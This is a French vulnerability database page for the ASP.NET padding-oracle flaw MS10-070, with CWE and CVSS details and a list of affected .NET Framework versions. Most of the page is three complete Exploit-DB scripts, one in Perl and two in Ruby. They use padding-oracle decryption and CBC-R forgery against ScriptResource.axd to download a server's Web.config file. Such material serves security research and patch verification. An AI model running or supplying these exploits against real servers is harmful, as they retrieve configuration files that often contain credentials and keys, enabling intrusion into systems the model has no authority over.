Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-209 |
Generation of Error Message Containing Sensitive Information The product generates an error message that includes sensitive information about its environment, users, or associated data. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
6.4 |
|
AV:N/AC:L/Au:N/C:P/I:P/A:N |
nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 15213
Date de publication : 2010-10-05 22h00 +00:00
Auteur : Giorgio Fedon
EDB Vérifié : Yes
# Source: http://blog.mindedsecurity.com/2010/10/breaking-net-encryption-with-or-without.html
#!/usr/bin/perl
#
#
# Webconfig Bruter - exploit tool for downloading Web.config
#
# FOr use this script you need Pudbuster.
# Padbuster is a great tool and Brian Holyfield deserve all the credits.
# Note from Exploit-db: This very first exploit was meant to work with Padbusterdornet or Padbuster v0.2.
# A similar exploitation vector was also added lately in Padbuster v0.3:
# http://www.gdssecurity.com/l/b/2010/10/04/padbuster-v0-3-and-the-net-padding-oracle-attack/
# https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15213.pl (padBuster.pl)
#
#
# Giorgio Fedon - (giorgio.fedon@mindedsecurity.com)
#
use LWP::UserAgent;
use strict;
use Getopt::Std;
use MIME::Base64;
use URI::Escape;
use Getopt::Long;
#Definition of vars for .NET
my $toEncodeDecode;
my $b64Encoded;
my $string;
my $returnVal;
my $testUrl;
my $testBytes;
my $sampleBytes;
my $testUrl = @ARGV[0]."\?d\=";
my $sampleBytes = @ARGV[1];
my $blockSize = @ARGV[2];
if ($#ARGV < 2) {
die "
Use: Web.config_bruter.pl ScriptResourceUrl Encrypted_Sample BlockSize
Where: URL = The target URL (and query string if applicable)
EncryptedSample = The encrypted value you want to use.
This need to come from Padbuster.
BlockSize = The block size being used by the algorithm (8 or 16)
Poc code by giorgio.fedon\@mindedsecurity.com
Original Padbuster code from Brian Holyfield - Gotham Digital Science
Command Example:
./Web.config_bruter.pl https://127.0.0.1:8083/ScriptResource.axd d1ARvno0iSA6Ez7Z0GEAmAy3BpX8a2 16
";}
my $method = "GET";
$sampleBytes = encoder($sampleBytes, 1);
my $testBytes = "\x00" x $blockSize;
my $counter = 0;
# Use random bytes
my @nums = (0..255);
my $status = 1;
while ($status)
{
# Fuzz the test bytes
for (my $byteNum = $blockSize - 1; $byteNum >= 0; $byteNum--)
{
substr($testBytes, $byteNum, 1, chr($nums[rand(@nums)]));
}
# Combine the test bytes and the sample
my $combinedTestBytes = encoder($testBytes.$sampleBytes, 0);
chomp($combinedTestBytes);
$combinedTestBytes =~ s/\%0A//g;
# Ok, now make the request
my ($status, $content, $location, $contentLength) = makeRequest($method, $testUrl.$combinedTestBytes);
if ($status == "200")
{
# Remove this for "T" exploit
if (index($content,"parent\.Sys\.Application") == -1)
{
print $content."\n\n";
print "Total Requests:".$counter."\n\n";
print "Resulting Exploit Block:".$combinedTestBytes."\n\n";
last;
}
}
$counter++;
}
# The following code is taken from PadBuster. Credit: Brian Holyfield - Gotham Digital Science
#
# I also did the encoder / decoder, but your logic is definitely better
sub encoder
{
my ($toEncodeDecode, $oper) = @_;
# UrlDecoder Encoder
if ($oper == 1)
{
$toEncodeDecode =~ s/\-/\+/g;
$toEncodeDecode =~ s/\_/\//g;
my $count = chop($toEncodeDecode);
$toEncodeDecode = $toEncodeDecode.("=" x int($count));
$returnVal = decode_base64($toEncodeDecode);
}
else
{
$b64Encoded = encode_base64($toEncodeDecode);
$b64Encoded =~ s/(\r|\n)//g;
$b64Encoded =~ s/\+/\-/g;
$b64Encoded =~ s/\//\_/g;
my $count = $b64Encoded =~ s/\=//g;
($count eq "") ? ($count = 0) : "";
$returnVal = $b64Encoded.$count;
}
return $returnVal;
}
sub makeRequest {
my ($method, $url) = @_;
my ($lwp, $status, $content, $req, $location, $contentLength);
# Setup LWP UserAgent
$lwp = LWP::UserAgent->new(env_proxy => 1,
keep_alive => 1,
timeout => 30,
requests_redirectable => [],
);
$req = new HTTP::Request $method => $url;
my $response = $lwp->request($req);
# Extract the required attributes from the response
$status = substr($response->status_line, 0, 3);
$content = $response->content;
#print $content;
$location = $response->header("Location");
if ($location eq "")
{
$location = "N/A";
}
$contentLength = $response->header("Content-Length");
return ($status, $content, $location, $contentLength);
}
Exploit Database EDB-ID : 15265
Date de publication : 2010-10-16 22h00 +00:00
Auteur : Agustin Azubel
EDB Vérifié : Yes
#!/usr/bin/ruby -w
#
# aspx_po_chotext_attack.rb
#
# Copyright (c) 2010 AmpliaSECURITY. All rights reserved
#
# http://www.ampliasecurity.com
# Agustin Azubel - aazubel@ampliasecurity.com
#
#
# MS10-070 ASPX proof of concept
# Decrypt data using Vaudenay's cbc-padding-oracle-side-channel
# Encrypt data using Rizzo-Duong CBC-R technique
#
# Copyright (c) 2010 Amplia Security. All rights reserved.
#
# Unless you have express writen permission from the Copyright
# Holder, any use of or distribution of this software or portions of it,
# including, but not limited to, reimplementations, modifications and derived
# work of it, in either source code or any other form, as well as any other
# software using or referencing it in any way, may NOT be sold for commercial
# gain, must be covered by this very same license, and must retain this
# copyright notice and this license.
# Neither the name of the Copyright Holder nor the names of its contributors
# may be used to endorse or promote products derived from this software
# without specific prior written permission.
#
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
$debugging = false
require 'net/http'
require 'uri'
require 'rexml/document'
#<require 'xarray'>
module XArray
def hex_inspect
"[#{length}][ #{map { |x| x.hex_inspect }.join ", " } ]"
end
end
class Array
include XArray
end
#</require 'xarray'>
#<require 'xbase64'>
require 'base64'
class XBase64
def self.encode s
s = Base64.encode64 s
s = s.gsub '+', '-'
s = s.gsub '/', '_'
s = s.gsub "\n", ''
s = s.gsub "\r", ''
s = XBase64.encode_base64_padding s
end
def self.encode_base64_padding s
padding_length = 0
padding_length += 1 while s[-1 - padding_length, 1] == "="
s[0..(-1 - padding_length)] + padding_length.to_s
end
def self.decode s
s = s.gsub '-', '+'
s = s.gsub '_', '/'
s = self.decode_base64_padding s
Base64.decode64 s
end
def self.decode_base64_padding s
padding_length = s[-1,1].to_i
s[0...-1] + ("=" * padding_length)
end
end
#</require 'xbase64'>
#<require 'xstring'>
module XString
def xor other
raise RuntimeError, "length mismatch" if self.length != other.length
(0...length).map { |i| self[i] ^ other[i] }.map { |x| x.chr }.join
end
alias ^ :xor
def hex_inspect
printables = [ "\a", "\b", "\e", "\f", "\n", "\r", "\t", "\v" ] + \
(0x20..0x7e).entries
"[#{length}]" + "\"#{unpack("C*").map { |x|
printables.include?(x) ? x.chr : "\\x%02x" % x }.join}\""
end
def to_blocks blocksize
(0...length/blocksize).map { |i| self[blocksize * i, blocksize]}
end
end
class String
include XString
end
#</require 'xstring'>
#<require 'padding_verification_strategy'>
class PaddingVerificationStrategy
def initialize parameters
@parameters = parameters
end
def valid_padding?
raise RuntimeError, "abstract method !"
end
end
class ErrorCodeStrategy < PaddingVerificationStrategy
def valid_padding? response
invalid_padding_error_code = @parameters[:invalid_padding_error_code]
not (invalid_padding_error_code == response.code)
end
end
class BodyLengthStrategy < PaddingVerificationStrategy
def valid_padding? response
invalid_padding_body_length = @parameters[:invalid_padding_body_length]
absolute_error = @parameters[:absolute_error]
not ( (invalid_padding_body_length - response.body.length).abs < absolute_error)
end
end
class BodyContentStrategy < PaddingVerificationStrategy
def valid_padding?
end
end
class TimingStrategy < PaddingVerificationStrategy
def valid_padding?
end
end
#</require 'padding_verification_strategy'>
#<require 'padding_oracle_decryptor'>
class PaddingOracleDecryptor
attr_accessor :blocksize
attr_accessor :d_value
attr_accessor :http
attr_accessor :strategy
def initialize
@tries = 0
@a = []
@decrypted = []
@blocksize = nil
@d_value = nil
@http = nil
@strategy = nil
end
def discover_blocksize_and_oracle_behaviour
puts "discovering blocksize and oracle behaviour..."
[ 16, 8 ].each do |b|
ciphertext = @d_value.clone
ciphertext[-(b * 3)] ^= 0x01
response = http.send_request ciphertext
valid_padding_code = response.code
valid_padding_body_length = response.body.length
0.upto b - 1 do |i|
ciphertext = @d_value.clone
ciphertext[-(b * 2) + i] ^= 0x01
response = http.send_request ciphertext
# puts "code: #{response.code}, length: #{response.body.length}"
# if valid_padding_code != response.code
# puts "padding verification strategy based on error code"
# @strategy = ErrorCodeStrategy.new :valid_padding_code => valid_padding_code,
# :invalid_padding_code => response.code
# @blocksize = b
# break
# end
if valid_padding_body_length != response.body.length
absolute_error = 200
if (valid_padding_body_length - response.body.length).abs > absolute_error
puts "padding verification strategy based on body length"
@strategy = BodyLengthStrategy.new :valid_padding_body_length => valid_padding_body_length,
:invalid_padding_body_length => response.body.length,
:absolute_error => absolute_error
@blocksize = b
break
end
end
end
break if blocksize
end
raise RuntimeError, "could not select a valid padding verification strategy!" unless blocksize
puts "discovered blocksize: #{blocksize}"
# blocksize and padding_length leads to automatic tail decryption !
blocksize
end
def valid_padding? response
strategy.valid_padding? response
end
def ask_oracle r
@tries += 1
r = r[1..-1].pack "C" * blocksize
ciphertext = d_value + r + @y
response = http.send_request ciphertext
return 1 if valid_padding? response
return 0
end
def decrypt_last_word
print "last word... "
$stdout.flush
b = blocksize
# 1. pick a few random words r[1],...,r[b] and take i = 0
saved_r = [0]
saved_r += (1..b).map { |i| rand 0xff }
i = 1
loop do
r = saved_r.clone
# 2. pick r = r[1],...,r[b-1],(r[b] xor i)
r[b] = r[b] ^ i
# 3. if O(r|y) = 0 then increment i and go back to the previous step
break if ask_oracle(r) == 1
i += 1
raise "failed!" if i > 0xff
end
# 4. replace r[b] by r[b xor i]
saved_r[b] = saved_r[b] ^ i
# 5. for n = b down to 2 do
# (a) take r = r[1],...,r[b-n],(r[b-n+1] xor 1),r[b-n+2],...,r[b]
# (b) if O(r|y) = 0 then stop and output (r[b-n+1] xor n),...,r[b xor n]
b.downto 2 do |n|
r = saved_r.clone
r[b-n+1] = r[b-n+1] ^ 1
if ask_oracle(r) == 0
# puts "lucky #{n}!"
n.downto(1) do |t|
word = r[b-t+1] ^ n
@a[b-t+1] = word
puts "a[#{b-t+1}]: #{word}"
end
return
end
end
r = saved_r.clone
# 6. output r[b] xor 1
last_word = r[b] ^ 1
@a[blocksize] = last_word
# puts "\x07a[#{blocksize}]: 0x%02x" % @a[blocksize]
end
def decrypt_ax x
print "a[#{x}]... "
$stdout.flush
b = blocksize
j = x+1
saved_r = [ 0 ]
# 2. pick r[1],...,r[j-1] at random and take i = 0
saved_r += (1..x).map { |i| rand 0xff }
i = 0
# 1. take r[k] = a[k] xor ( b - j + 2) for k = j,...,b
2.upto b do |k|
saved_r[k] = @a[k] ^ (b - j + 2) if x < k
end
loop do
r = saved_r.clone
# 3. take r = r[1]...r[j-2](r[j-1] xor i)r[j]..r[b]
r[x] = r[x] ^ i
# 4. if O(r|y) = 0 then increment i and go back to the previous step
break if (ask_oracle r) == 1
i += 1
raise "failed!" if i > 255
end
r = saved_r.clone
# 5. output r[j-1] xor i xor (b - j + 2)
@a[x] = (r[x] ^ i) ^ (b - j + 2)
# puts "\x07a[#{x}]: 0x%02x" % @a[x]
end
def decrypt_block iv, y
@tries = 0
@iv = iv
@y = y
print "decrypting "
$stdout.flush
decrypt_last_word
(blocksize - 1).downto 1 do |j|
decrypt_ax j
end
puts
puts "tries: #{@tries}, average: #{(blocksize * 256) / 2}"
@a.shift
plaintext_block = (0...blocksize).map { |i| @a[i] ^ @iv[i] }.pack "C*"
plaintext_block
end
def decrypt ciphertext
plaintext_blocks = Array.new
cipher_blocks = ciphertext.to_blocks blocksize
iv = "\x00" * blocksize
cipher_blocks.unshift iv
1.upto cipher_blocks.length - 2 do |i|
plaintext_block = decrypt_block cipher_blocks[-i - 1], cipher_blocks[-i]
plaintext_blocks.unshift plaintext_block
end
plaintext_blocks.join
end
end
#</require 'padding_oracle_decryptor'>
class ASPXPaddingOracleChosenCiphertextAttack
attr_reader :uri
attr_reader :filename
attr_reader :filelength
attr_reader :filere
attr_reader :http
attr_reader :d_value
attr_reader :blocksize
attr_reader :axdpath
attr_reader :axdname
attr_reader :decryptor
attr_reader :base_mask
def initialize parameters
@uri = URI.parse parameters[:uri]
@filename = parameters[:filename]
@filelength = parameters[:filelength]
@filere = parameters[:filere]
@http = http_initialize
@d_value = nil
@base_mask = rand 0xffff
@blocksize = nil
@axdpath = nil
@axdname = nil
@decryptor = PaddingOracleDecryptor.new
puts "using target: #{@uri}"
puts "using base_mask: 0x%04x" % @base_mask
end
def http_initialize
http = Net::HTTP.new @uri.host, @uri.port
http
end
def parse_script_tag xml, re
d = nil
doc = REXML::Document.new xml
doc.elements.each 'script' do |e|
src_attribute = e.attributes['src']
md = re.match src_attribute
d = md[1]
break
end
raise RuntimeError, "could not parse script_tag" unless d
d
end
private :parse_script_tag
def get_ciphertext_sample
puts "starting connection..."
http.start
[ [ "ScriptResource.axd", /\/ScriptResource\.axd\?d=([a-zA-Z0-9\-\_]+)\&t=[a-z0-9]+/ ]
].each do |name, re|
headers = { 'User-Agent' => \
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)' }
response = http.get uri.path, headers
body = response.body
script_tags = body.lines.select { |x| x.index name }
next if script_tags.empty?
# puts "script tags using #{name} [#{script_tags.length}]:"
# puts script_tags.map { |x| "\t#{x}" }
d = parse_script_tag script_tags[0], re
puts "using script: #{name}"
puts "using d_value: #{d}"
@axdpath = uri.path[0, uri.path.rindex('/')]
@axdname = name
@d_value = ("\x00" * 16) + (XBase64.decode d)
break
end
raise RuntimeError, "could not find any axd sample" unless d_value
decryptor.http = self
decryptor.d_value = d_value
d_value
end
def parse_html_body h, body
parsed = String.new
doc = REXML::Document.new body
doc.elements.each h do |e|
parsed = e.text
break
end
parsed
end
def send_request d
request = Net::HTTP::Get.new "/#{axdpath}/#{axdname}?d=#{XBase64.encode d}"
request['Connection'] = 'Keep-Alive'
@http.request request
end
def decrypt ciphertext
decryptor.decrypt ciphertext
end
def discover_blocksize_and_oracle_behaviour
@blocksize = decryptor.discover_blocksize_and_oracle_behaviour
end
def reallocate_cipher_blocks cipher_blocks, new_plaintext_blocks
puts "cipher_blocks.count: #{cipher_blocks.count}"
required_block_count = 1 + new_plaintext_blocks.length + 1
puts "required_block_count: #{required_block_count}"
if required_block_count < cipher_blocks.count then
delta = cipher_blocks.count - required_block_count
puts "removing #{delta} extra blocks..."
cipher_blocks = [ cipher_blocks[0] ] + cipher_blocks[-required_block_count+1..-1]
elsif required_block_count > cipher_blocks.count then
delta = required_block_count - cipher_blocks.count
puts "adding #{delta} extra_blocks..."
cipher_blocks = [ cipher_blocks[0], ("\x00" * blocksize) * delta ] + cipher_blocks[1..-1]
end
puts "cipher_blocks.count: #{cipher_blocks.count}"
cipher_blocks
end
private :reallocate_cipher_blocks
def generate_new_plaintext_blocks
tail_padding = "\x01"
head_padding_length = blocksize - ( (@filename.length + tail_padding.length) % blocksize)
head_padding_length = 0 if head_padding_length == blocksize
head_padding = "\x00" * head_padding_length
new_plaintext = head_padding + @filename + tail_padding
new_plaintext.to_blocks blocksize
end
private :generate_new_plaintext_blocks
def encrypt
puts "encrypting \"#{@filename.hex_inspect}..."
new_plaintext_blocks = generate_new_plaintext_blocks
cipher_blocks = @d_value.to_blocks blocksize
cipher_blocks = reallocate_cipher_blocks cipher_blocks, new_plaintext_blocks
puts "decrypting #{new_plaintext_blocks.length} blocks..."
(1..new_plaintext_blocks.length).each do |i|
puts "block #{i} of #{new_plaintext_blocks.length}"
old_plaintext_block = decryptor.decrypt_block cipher_blocks[-i - 1], cipher_blocks[-i]
puts "old_plaintext_block: #{old_plaintext_block.hex_inspect}"
cipher_blocks[-1 - i] ^= old_plaintext_block ^ new_plaintext_blocks[-i]
end
puts "eye candy: decrypting crafted ciphertext"
new_plaintext = decrypt cipher_blocks.join
puts "new_plaintext: #{new_plaintext.hex_inspect}"
@d_value = cipher_blocks.join
end
def discover_escape_sequence
puts "discovering escape sequence..."
escape_sequence_mask = nil
offset = base_mask % (blocksize - 4)
ciphertext = d_value.clone
0x1ffff.times do |mask|
ciphertext[offset, 4] = [ base_mask + mask ].pack "L"
response = send_request ciphertext
print "\rtrying escape_mask: 0x%05x/0x1ffff, http_code: %4d, body_length: %5d" % \
[ mask, response.code, response.body.length ]
next unless response.code == "200"
next if filelength and (response.body.length < filelength)
next if filere and (not filere =~ response.body)
escape_sequence_mask = base_mask + mask
puts
puts "found!"
puts "press any key to show the contents of the file"
$stdin.gets
puts response.body
break
end
raise RuntimeError, "no more combinations to try !" unless escape_sequence_mask
escape_sequence_mask
end
def pause
puts
puts "press any key to start the attack"
$stdin.gets
end
def run
get_ciphertext_sample
pause
discover_blocksize_and_oracle_behaviour
encrypt
discover_escape_sequence
end
end
puts [ "-------------------------------------------",
"aspx_po_chotext_attack.rb",
"(c) 2010 AmpliaSECURITY",
"http://www.ampliasecurity.com",
"Agustin Azubel - aazubel@ampliasecurity.com",
"-------------------------------------------",
"\n" ].join "\n"
if ARGV.length != 1 then
$stderr.puts "usage: ruby #{$PROGRAM_NAME} http://192.168.1.1/Default.aspx"
exit
end
begin
parameters = {
:uri => ARGV.first,
:filename => "|||~/Web.config",
:filere => /configuration/
}
x = ASPXPaddingOracleChosenCiphertextAttack.new parameters
x.run
rescue Exception => e
$stderr.puts "Exploit failed: #{e}"
raise if $debugging
end
Exploit Database EDB-ID : 15292
Date de publication : 2010-10-19 22h00 +00:00
Auteur : Agustin Azubel
EDB Vérifié : Yes
#!/usr/bin/ruby -w
#
# aspx_ad_chotext_attack.rb
#
# Copyright (c) 2010 AmpliaSECURITY. All rights reserved
#
# http://www.ampliasecurity.com
# Agustin Azubel - aazubel@ampliasecurity.com
#
#
# MS10-070 ASPX proof of concept
# Decrypt data using an auto decryptor bundled in the aspx framework
# Encrypt data using Rizzo-Duong CBC-R technique
#
# Copyright (c) 2010 Amplia Security. All rights reserved.
#
# Unless you have express writen permission from the Copyright
# Holder, any use of or distribution of this software or portions of it,
# including, but not limited to, reimplementations, modifications and derived
# work of it, in either source code or any other form, as well as any other
# software using or referencing it in any way, may NOT be sold for commercial
# gain, must be covered by this very same license, and must retain this
# copyright notice and this license.
# Neither the name of the Copyright Holder nor the names of its contributors
# may be used to endorse or promote products derived from this software
# without specific prior written permission.
#
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
require 'net/http'
require 'uri'
require 'rexml/document'
$debugging = false
module XArray
def hex_inspect
"[#{length}][ #{map { |x| x.hex_inspect }.join ", " } ]"
end
end
class Array
include XArray
end
require 'base64'
class XBase64
def self.encode s
s = Base64.encode64 s
s = s.gsub '+', '-'
s = s.gsub '/', '_'
s = s.gsub "\n", ''
s = s.gsub "\r", ''
s = XBase64.encode_base64_padding s
end
def self.encode_base64_padding s
padding_length = 0
padding_length += 1 while s[-1 - padding_length, 1] == "="
s[0..(-1 - padding_length)] + padding_length.to_s
end
def self.decode s
s = s.gsub '-', '+'
s = s.gsub '_', '/'
s = self.decode_base64_padding s
Base64.decode64 s
end
def self.decode_base64_padding s
padding_length = s[-1,1].to_i
s[0...-1] + ("=" * padding_length)
end
end
module XString
def xor other
raise RuntimeError, "length mismatch" if self.length != other.length
(0...length).map { |i| self[i] ^ other[i] }.map { |x| x.chr }.join
end
alias ^ :xor
def hex_inspect
printables = [ "\a", "\b", "\e", "\f", "\n", "\r", "\t", "\v" ] + \
(0x20..0x7e).entries
"[#{length}]" + "\"#{unpack("C*").map { |x|
printables.include?(x) ? x.chr : "\\x%02x" % x }.join}\""
end
def to_blocks blocksize
(0...length/blocksize).map { |i| self[blocksize * i, blocksize]}
end
end
class String
include XString
end
class ASPXAutoDecryptorChosenCiphertextAttack
attr_reader :uri
attr_reader :filename
attr_reader :min_filelength
attr_reader :filere
attr_reader :http
attr_reader :d_value
attr_reader :blocksize
attr_reader :padding_length
attr_reader :decrypt_command_mask
attr_reader :axdpath
attr_reader :axdname
attr_reader :base_mask
def initialize parameters
@uri = URI.parse parameters[:uri]
@filename = parameters[:filename]
@min_filelength = parameters[:min_filelength]
@filere = parameters[:filere]
@http = http_initialize
@d_value = nil
@base_mask = rand 0xffff
@decrypt_command_mask = nil
@blocksize = nil
@padding_length = nil
@axdpath = nil
@axdname = nil
puts "target: #{@uri}"
puts "base_mask: 0x%04x" % @base_mask
end
def http_initialize
http = Net::HTTP.new @uri.host, @uri.port
http.start
http
end
def parse_script_tag xml, re
d = nil
doc = REXML::Document.new xml
doc.elements.each 'script' do |e|
src_attribute = e.attributes['src']
md = re.match src_attribute
d = md[1]
break
end
raise RuntimeError, "could not parse script_tag" unless d
d
end
private :parse_script_tag
def get_ciphertext_sample
[ [ "ScriptResource.axd", /\/ScriptResource\.axd\?d=([a-zA-Z0-9\-\_]+)\&t=[a-z0-9]+/ ],
].each do |name, re|
headers = { 'User-Agent' => \
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)' }
response = http.get uri.path, headers
body = response.body
script_tags = body.lines.select { |x| x.index name }
next if script_tags.empty?
puts "script tags using #{name} [#{script_tags.length}]:"
puts script_tags.map { |x| "\t#{x}" }
d = parse_script_tag script_tags[0], re
puts "using script: #{name}"
puts "using d_value: #{d}"
@axdpath = uri.path[0, uri.path.rindex('/')]
@axdname = name
@d_value = ("\x00" * 16) + (XBase64.decode d)
break
end
raise RuntimeError, "could not find any axd sample" unless d_value
d_value
end
def parse_html_body h, body
parsed = String.new
doc = REXML::Document.new body
doc.elements.each h do |e|
parsed = e.text
break
end
parsed
end
def send_request d
request = Net::HTTP::Get.new "/#{axdpath}/#{axdname}?d=#{XBase64.encode d}"
request['Connection'] = 'Keep-Alive'
@http.request request
end
def decrypt d
ciphertext = d.clone
ciphertext[0, 2] = [ @decrypt_command_mask ].pack "S"
response = send_request ciphertext
parse_html_body 'html/head/title', response.body
end
def discover_decrypt_command
puts "discovering decrypt command..."
ciphertext = d_value.clone
1.upto 0xffff do |mask|
ciphertext[0, 2] = [ base_mask + mask ].pack "S"
response = send_request ciphertext
print "\rtrying decrypt_mask: 0x%04x/0xffff, http_code: %4d, body_length: %5d" % \
[ mask, response.code, response.body.length ]
next unless response.code == "200"
begin
puts parse_html_body 'html/head/title', response.body
@decrypt_command_mask = base_mask + mask
rescue Exception => e
puts e
puts "exception !"
next
end
break
end
puts
raise RuntimeError, "no more combinations to try !" unless decrypt_command_mask
puts "decrypted !!!"
decrypt_command_mask
end
def discover_blocksize_and_padding_length
puts "discovering blocksize and padding length..."
[ 16, 8 ].each do |b|
0.upto b - 1 do |i|
ciphertext = @d_value.clone
ciphertext[-(b * 2) + i] ^= 0x01
begin
decrypt ciphertext
rescue Exception => e
@blocksize = b
@padding_length = blocksize - i
break
end
end
break if blocksize
end
raise RuntimeError, "no more combinations to try !" unless blocksize
puts "discovered padding length: #{padding_length}"
puts "discovered blocksize: #{blocksize}"
[ blocksize, padding_length]
end
def reallocate_cipher_blocks cipher_blocks, new_plaintext_blocks
puts "cipher_blocks.count: #{cipher_blocks.count}"
required_block_count = 1 + new_plaintext_blocks.count + 1
puts "required_block_count: #{required_block_count}"
if required_block_count < cipher_blocks.count then
delta = cipher_blocks.count - required_block_count
puts "removing #{delta} extra blocks..."
cipher_blocks = [ cipher_blocks[0] ] + cipher_blocks[-required_block_count+1..-1]
elsif required_block_count > cipher_blocks.count then
delta = required_block_count - cipher_blocks.count
puts "adding #{delta} extra_blocks..."
cipher_blocks = [ cipher_blocks[0], ("\x00" * blocksize) * delta ] + cipher_blocks[1..-1]
end
puts "cipher_blocks.count: #{cipher_blocks.count}"
cipher_blocks
end
private :reallocate_cipher_blocks
def generate_new_plaintext_blocks
tail_padding = "\x01"
head_padding_length = blocksize - ( (@filename.length + tail_padding.length) % blocksize)
head_padding_length = 0 if head_padding_length == blocksize
head_padding = "\x00" * head_padding_length
new_plaintext = head_padding + @filename + tail_padding
new_plaintext.to_blocks blocksize
end
private :generate_new_plaintext_blocks
def encrypt
puts "encrypting \"#{@filename.hex_inspect}..."
new_plaintext_blocks = generate_new_plaintext_blocks
cipher_blocks = @d_value.to_blocks blocksize
cipher_blocks = reallocate_cipher_blocks cipher_blocks, new_plaintext_blocks
(1..new_plaintext_blocks.count).each do |i|
puts "round #{i} of #{new_plaintext_blocks.count}"
new_plaintext_block = new_plaintext_blocks[-i]
old_cleartext = decrypt cipher_blocks.join
old_plaintext = old_cleartext + (padding_length.chr * padding_length)
puts "old_plaintext: #{old_plaintext.hex_inspect}"
old_plaintext_blocks = old_plaintext[blocksize * (-i - 1)..-1].to_blocks blocksize
old_plaintext_block = old_plaintext_blocks[-i]
normalization_table = old_plaintext_block.bytes.map { |x| x >= 0x80 or x == 0x0a }
if normalization_table.include? true
j = blocksize - (normalization_table.rindex true)
cipher_blocks[-1 - i][-j] ^= old_plaintext_block[-j]
puts "normalization needed for \"\\x%x\", j: %d !" % [ old_plaintext_block[-j], -j]
redo
end
cipher_blocks[-1 - i] ^= old_plaintext_block ^ new_plaintext_block
@padding_length = 1 if i == 1
end
cleartext = decrypt cipher_blocks.join
puts "new cleartext: #{cleartext.hex_inspect}"
# raise RuntimeError, "too many \"|\" characters!" if cleartext.count("|") > 3
@d_value = cipher_blocks.join
end
def discover_escape_sequence
puts "discovering escape sequence..."
escape_sequence_mask = nil
offset = base_mask % (blocksize - 4)
ciphertext = d_value.clone
0x1ffff.times do |mask|
ciphertext[offset, 4] = [ base_mask + mask ].pack "L"
response = send_request ciphertext
print "\rtrying escape_mask: 0x%04x/0x1ffff, http_code: %4d, body_length: %5d" % \
[ mask, response.code, response.body.length ]
next unless response.code == "200"
next if min_filelength and (response.body.length < min_filelength)
next if filere and (not filere =~ response.body)
escape_sequence_mask = base_mask + mask
puts
puts "found!"
unless $debugging
puts "press any key to show the contents of the file"
$stdin.gets
end
puts response.body
break
end
puts
raise RuntimeError, "no more combinations to try !" unless escape_sequence_mask
escape_sequence_mask
end
def pause
return if $debugging
puts
puts "press any key to start the attack"
$stdin.gets
end
def run
get_ciphertext_sample
pause
discover_decrypt_command
discover_blocksize_and_padding_length
encrypt
discover_escape_sequence
end
end
puts [ "-------------------------------------------",
"aspx_ad_chotext_attack.rb",
"(c) 2010 AmpliaSECURITY",
"http://www.ampliasecurity.com",
"Agustin Azubel - aazubel@ampliasecurity.com",
"-------------------------------------------",
"\n" ].join "\n"
if ARGV.length != 1 then
$stderr.puts "usage: ruby #{$PROGRAM_NAME} http://192.168.1.1/Default.aspx"
exit
end
begin
parameters = {
:uri => ARGV.first,
:filename => "|||~/Web.config",
# :min_filelength => 3000,
:filere => /configuration/
}
x = ASPXAutoDecryptorChosenCiphertextAttack.new parameters
x.run
rescue Exception => e
$stderr.puts "Exploit failed: #{e}"
raise if $debugging
end
Products Mentioned
Configuraton 0
Microsoft>>.net_framework >> Version 1.1
Microsoft>>.net_framework >> Version 2.0
Microsoft>>.net_framework >> Version 2.0
Microsoft>>.net_framework >> Version 3.5
Microsoft>>.net_framework >> Version 3.5
Microsoft>>.net_framework >> Version 3.5.1
Microsoft>>.net_framework >> Version 4.0
Microsoft>>Internet_information_services >> Version -
Références